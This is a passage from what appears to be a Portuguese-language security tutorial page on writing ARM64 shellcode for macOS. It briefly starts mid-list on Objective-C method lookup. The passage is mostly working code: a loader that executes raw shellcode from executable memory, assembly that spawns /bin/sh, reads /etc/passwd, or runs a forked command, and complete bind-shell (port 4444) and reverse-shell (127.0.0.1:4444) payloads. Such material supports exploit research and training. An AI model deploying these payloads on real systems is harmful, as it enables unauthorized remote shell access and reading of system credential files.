* Tentar lista de métodos da superclasse:
* Se encontrado, preencher cache e feito
* Se (resolver) tentar resolvedor de método e repetir a busca da classe
* Se ainda aqui (= tudo o mais falhou) tentar encaminhador
### Shellcodes
Para compilar:
```bash
as -o shell.o shell.s
ld -o shell shell.o -macosx_version_min 13.0 -lSystem -L /Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/lib
# You could also use this
ld -o shell shell.o -syslibroot $(xcrun -sdk macosx --show-sdk-path) -lSystem
```
Para extrair os bytes:
```bash
# Code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/b729f716aaf24cbc8109e0d94681ccb84c0b0c9e/helper/extract.sh
for c in $(objdump -d "s.o" | grep -E '[0-9a-f]+:' | cut -f 1 | cut -d : -f 2) ; do
echo -n '\\x'$c
done
```
Para versões mais recentes do macOS:
```bash
# Code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/fc0742e9ebaf67c6a50f4c38d59459596e0a6c5d/helper/extract.sh
for s in $(objdump -d "s.o" | grep -E '[0-9a-f]+:' | cut -f 1 | cut -d : -f 2) ; do
echo -n $s | awk '{for (i = 7; i > 0; i -= 2) {printf "\\x" substr($0, i, 2)}}'
done
```
C código para testar o shellcode
```c
// code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/helper/loader.c
// gcc loader.c -o loader
#include
#include
#include
#include
int (*sc)();
char shellcode[] = "";
int main(int argc, char **argv) {
printf("[>] Shellcode Length: %zd Bytes\n", strlen(shellcode));
void *ptr = mmap(0, 0x1000, PROT_WRITE | PROT_READ, MAP_ANON | MAP_PRIVATE | MAP_JIT, -1, 0);
if (ptr == MAP_FAILED) {
perror("mmap");
exit(-1);
}
printf("[+] SUCCESS: mmap\n");
printf(" |-> Return = %p\n", ptr);
void *dst = memcpy(ptr, shellcode, sizeof(shellcode));
printf("[+] SUCCESS: memcpy\n");
printf(" |-> Return = %p\n", dst);
int status = mprotect(ptr, 0x1000, PROT_EXEC | PROT_READ);
if (status == -1) {
perror("mprotect");
exit(-1);
}
printf("[+] SUCCESS: mprotect\n");
printf(" |-> Return = %d\n", status);
printf("[>] Trying to execute shellcode...\n");
sc = ptr;
sc();
return 0;
}
```
#### Shell
Retirado de [**aqui**](https://github.com/daem0nc0re/macOS\_ARM64\_Shellcode/blob/master/shell.s) e explicado.
{% tabs %}
{% tab title="com adr" %}
```armasm
.section __TEXT,__text ; This directive tells the assembler to place the following code in the __text section of the __TEXT segment.
.global _main ; This makes the _main label globally visible, so that the linker can find it as the entry point of the program.
.align 2 ; This directive tells the assembler to align the start of the _main function to the next 4-byte boundary (2^2 = 4).
_main:
adr x0, sh_path ; This is the address of "/bin/sh".
mov x1, xzr ; Clear x1, because we need to pass NULL as the second argument to execve.
mov x2, xzr ; Clear x2, because we need to pass NULL as the third argument to execve.
mov x16, #59 ; Move the execve syscall number (59) into x16.
svc #0x1337 ; Make the syscall. The number 0x1337 doesn't actually matter, because the svc instruction always triggers a supervisor call, and the exact action is determined by the value in x16.
sh_path: .asciz "/bin/sh"
```
{% endtab %}
{% tab title="com pilha" %}
```armasm
.section __TEXT,__text ; This directive tells the assembler to place the following code in the __text section of the __TEXT segment.
.global _main ; This makes the _main label globally visible, so that the linker can find it as the entry point of the program.
.align 2 ; This directive tells the assembler to align the start of the _main function to the next 4-byte boundary (2^2 = 4).
_main:
; We are going to build the string "/bin/sh" and place it on the stack.
mov x1, #0x622F ; Move the lower half of "/bi" into x1. 0x62 = 'b', 0x2F = '/'.
movk x1, #0x6E69, lsl #16 ; Move the next half of "/bin" into x1, shifted left by 16. 0x6E = 'n', 0x69 = 'i'.
movk x1, #0x732F, lsl #32 ; Move the first half of "/sh" into x1, shifted left by 32. 0x73 = 's', 0x2F = '/'.
movk x1, #0x68, lsl #48 ; Move the last part of "/sh" into x1, shifted left by 48. 0x68 = 'h'.
str x1, [sp, #-8] ; Store the value of x1 (the "/bin/sh" string) at the location `sp - 8`.
; Prepare arguments for the execve syscall.
mov x1, #8 ; Set x1 to 8.
sub x0, sp, x1 ; Subtract x1 (8) from the stack pointer (sp) and store the result in x0. This is the address of "/bin/sh" string on the stack.
mov x1, xzr ; Clear x1, because we need to pass NULL as the second argument to execve.
mov x2, xzr ; Clear x2, because we need to pass NULL as the third argument to execve.
; Make the syscall.
mov x16, #59 ; Move the execve syscall number (59) into x16.
svc #0x1337 ; Make the syscall. The number 0x1337 doesn't actually matter, because the svc instruction always triggers a supervisor call, and the exact action is determined by the value in x16.
```
{% endtab %}
{% tab title="com adr para linux" %}
```armasm
; From https://8ksec.io/arm64-reversing-and-exploitation-part-5-writing-shellcode-8ksec-blogs/
.section __TEXT,__text ; This directive tells the assembler to place the following code in the __text section of the __TEXT segment.
.global _main ; This makes the _main label globally visible, so that the linker can find it as the entry point of the program.
.align 2 ; This directive tells the assembler to align the start of the _main function to the next 4-byte boundary (2^2 = 4).
_main:
adr x0, sh_path ; This is the address of "/bin/sh".
mov x1, xzr ; Clear x1, because we need to pass NULL as the second argument to execve.
mov x2, xzr ; Clear x2, because we need to pass NULL as the third argument to execve.
mov x16, #59 ; Move the execve syscall number (59) into x16.
svc #0x1337 ; Make the syscall. The number 0x1337 doesn't actually matter, because the svc instruction always triggers a supervisor call, and the exact action is determined by the value in x16.
sh_path: .asciz "/bin/sh"
```
{% endtab %}
{% endtabs %}
#### Ler com cat
O objetivo é executar `execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL)`, então o segundo argumento (x1) é um array de parâmetros (que na memória significa uma pilha dos endereços).
```armasm
.section __TEXT,__text ; Begin a new section of type __TEXT and name __text
.global _main ; Declare a global symbol _main
.align 2 ; Align the beginning of the following code to a 4-byte boundary
_main:
; Prepare the arguments for the execve syscall
sub sp, sp, #48 ; Allocate space on the stack
mov x1, sp ; x1 will hold the address of the argument array
adr x0, cat_path
str x0, [x1] ; Store the address of "/bin/cat" as the first argument
adr x0, passwd_path ; Get the address of "/etc/passwd"
str x0, [x1, #8] ; Store the address of "/etc/passwd" as the second argument
str xzr, [x1, #16] ; Store NULL as the third argument (end of arguments)
adr x0, cat_path
mov x2, xzr ; Clear x2 to hold NULL (no environment variables)
mov x16, #59 ; Load the syscall number for execve (59) into x8
svc 0 ; Make the syscall
cat_path: .asciz "/bin/cat"
.align 2
passwd_path: .asciz "/etc/passwd"
```
#### Invocar comando com sh de um fork para que o processo principal não seja encerrado
```armasm
.section __TEXT,__text ; Begin a new section of type __TEXT and name __text
.global _main ; Declare a global symbol _main
.align 2 ; Align the beginning of the following code to a 4-byte boundary
_main:
; Prepare the arguments for the fork syscall
mov x16, #2 ; Load the syscall number for fork (2) into x8
svc 0 ; Make the syscall
cmp x1, #0 ; In macOS, if x1 == 0, it's parent process, https://opensource.apple.com/source/xnu/xnu-7195.81.3/libsyscall/custom/__fork.s.auto.html
beq _loop ; If not child process, loop
; Prepare the arguments for the execve syscall
sub sp, sp, #64 ; Allocate space on the stack
mov x1, sp ; x1 will hold the address of the argument array
adr x0, sh_path
str x0, [x1] ; Store the address of "/bin/sh" as the first argument
adr x0, sh_c_option ; Get the address of "-c"
str x0, [x1, #8] ; Store the address of "-c" as the second argument
adr x0, touch_command ; Get the address of "touch /tmp/lalala"
str x0, [x1, #16] ; Store the address of "touch /tmp/lalala" as the third argument
str xzr, [x1, #24] ; Store NULL as the fourth argument (end of arguments)
adr x0, sh_path
mov x2, xzr ; Clear x2 to hold NULL (no environment variables)
mov x16, #59 ; Load the syscall number for execve (59) into x8
svc 0 ; Make the syscall
_exit:
mov x16, #1 ; Load the syscall number for exit (1) into x8
mov x0, #0 ; Set exit status code to 0
svc 0 ; Make the syscall
_loop: b _loop
sh_path: .asciz "/bin/sh"
.align 2
sh_c_option: .asciz "-c"
.align 2
touch_command: .asciz "touch /tmp/lalala"
```
#### Bind shell
Bind shell de [https://raw.githubusercontent.com/daem0nc0re/macOS\_ARM64\_Shellcode/master/bindshell.s](https://raw.githubusercontent.com/daem0nc0re/macOS\_ARM64\_Shellcode/master/bindshell.s) na **porta 4444**
```armasm
.section __TEXT,__text
.global _main
.align 2
_main:
call_socket:
// s = socket(AF_INET = 2, SOCK_STREAM = 1, 0)
mov x16, #97
lsr x1, x16, #6
lsl x0, x1, #1
mov x2, xzr
svc #0x1337
// save s
mvn x3, x0
call_bind:
/*
* bind(s, &sockaddr, 0x10)
*
* struct sockaddr_in {
* __uint8_t sin_len; // sizeof(struct sockaddr_in) = 0x10
* sa_family_t sin_family; // AF_INET = 2
* in_port_t sin_port; // 4444 = 0x115C
* struct in_addr sin_addr; // 0.0.0.0 (4 bytes)
* char sin_zero[8]; // Don't care
* };
*/
mov x1, #0x0210
movk x1, #0x5C11, lsl #16
str x1, [sp, #-8]
mov x2, #8
sub x1, sp, x2
mov x2, #16
mov x16, #104
svc #0x1337
call_listen:
// listen(s, 2)
mvn x0, x3
lsr x1, x2, #3
mov x16, #106
svc #0x1337
call_accept:
// c = accept(s, 0, 0)
mvn x0, x3
mov x1, xzr
mov x2, xzr
mov x16, #30
svc #0x1337
mvn x3, x0
lsr x2, x16, #4
lsl x2, x2, #2
call_dup:
// dup(c, 2) -> dup(c, 1) -> dup(c, 0)
mvn x0, x3
lsr x2, x2, #1
mov x1, x2
mov x16, #90
svc #0x1337
mov x10, xzr
cmp x10, x2
bne call_dup
call_execve:
// execve("/bin/sh", 0, 0)
mov x1, #0x622F
movk x1, #0x6E69, lsl #16
movk x1, #0x732F, lsl #32
movk x1, #0x68, lsl #48
str x1, [sp, #-8]
mov x1, #8
sub x0, sp, x1
mov x1, xzr
mov x2, xzr
mov x16, #59
svc #0x1337
```
#### Reverse shell
De [https://github.com/daem0nc0re/macOS\_ARM64\_Shellcode/blob/master/reverseshell.s](https://github.com/daem0nc0re/macOS\_ARM64\_Shellcode/blob/master/reverseshell.s), revshell para **127.0.0.1:4444**
```armasm
.section __TEXT,__text
.global _main
.align 2
_main:
call_socket:
// s = socket(AF_INET = 2, SOCK_STREAM = 1, 0)
mov x16, #97
lsr x1, x16, #6
lsl x0, x1, #1
mov x2, xzr
svc #0x1337
// save s
mvn x3, x0
call_connect:
/*
* connect(s, &sockaddr, 0x10)
*
* struct sockaddr_in {
* __uint8_t sin_len; // sizeof(struct sockaddr_in) = 0x10
* sa_family_t sin_family; // AF_INET = 2
* in_port_t sin_port; // 4444 = 0x115C
* struct in_addr sin_addr; // 127.0.0.1 (4 bytes)
* char sin_zero[8]; // Don't care
* };
*/
mov x1, #0x0210
movk x1, #0x5C11, lsl #16
movk x1, #0x007F, lsl #32
movk x1, #0x0100, lsl #48
str x1, [sp, #-8]
mov x2, #8
sub x1, sp, x2
mov x2, #16
mov x16, #98
svc #0x1337
lsr x2, x2, #2
call_dup:
// dup(s, 2) -> dup(s, 1) -> dup(s, 0)
mvn x0, x3
lsr x2, x2, #1
mov x1, x2
mov x16, #90
svc #0x1337
mov x10, xzr
cmp x10, x2
bne call_dup
call_execve:
// execve("/bin/sh", 0, 0)
mov x1, #0x622F
movk x1, #0x6E69, lsl #16
movk x1, #0x732F, lsl #32
movk x1, #0x68, lsl #48
str x1, [sp, #-8]
mov x1, #8
sub x0, sp, x1
mov x1, xzr
mov x2, xzr
mov x16, #59
svc #0x1337
```
{% hint style="success" %}
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{% endhint %}